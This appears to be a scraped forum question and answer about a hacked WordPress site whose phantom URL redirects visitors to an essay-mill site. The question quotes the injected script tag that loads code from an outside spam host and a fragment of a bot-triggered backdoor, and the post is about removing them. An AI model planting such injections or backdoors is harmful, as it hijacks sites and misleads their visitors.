javascript - Wordpress site hacked - phantom url -
my wordpress website hacked recently, i've cleaned backdoor scripts left there there seems kind of phantom url doesn't exist in database @ if type site opens up.
for example:
mysite.com/needs-more-tuition
something of sort when page opens, not 404 page instead see js script being run before html generated in full , page redirects shady online tuition homework site.
i've looked high , low , have identified javascript code havent been able find in wordpress site install, nor in theme or plugin files.
i'm bit perplexed here , don't know - understanding echoing javascript before opening html tag of page - run before header compiled or so.
where should this? need cleaned up. google has penalized website , have coming placeholder there in meanwhile.
htaccess
here htaccess file:
# begin wordpress <ifmodule mod_rewrite.c> rewriteengine on rewritebase / rewriterule ^index\.php$ - [l] rewritecond %{request_filename} !-f rewritecond %{request_filename} !-d rewriterule . /index.php [l] </ifmodule> # end wordpress
everything seems normal - i've removed al files had code remniscent of:
if(isset($_get['bot']))
urlwise have html file in place there bypass index.php
now.
affected page details
the phanton url no in database, strange thing there content on page thought normal wordpress post. in html of page followng javascript snippet added @ top of file before opening html tag:
<nofollow><noindex><script src="http://essay-oneday.com/?jquery&source=mywebsite.com&keyword=introduction film essay"></script></noindex></nofollow><!doctype html>
seeing problem couple of things come mind. since saying page redirects site before html renders mean result of infected htaccess. if not custom template injection. template_include
, template_redirect
actions. intruder might careful enough not leave trace of needs-more-tution
part. i'd suggest text in database in wp_posts
table. 1 possibility page/post slug. , id used in template_redirect
or template_include
hook check current page , include js code redirect url. 1 other thing. notice in url redirection occurs first. should url in both code , database. after totally hypothetical. without seeing hard comment.
Comments
Post a Comment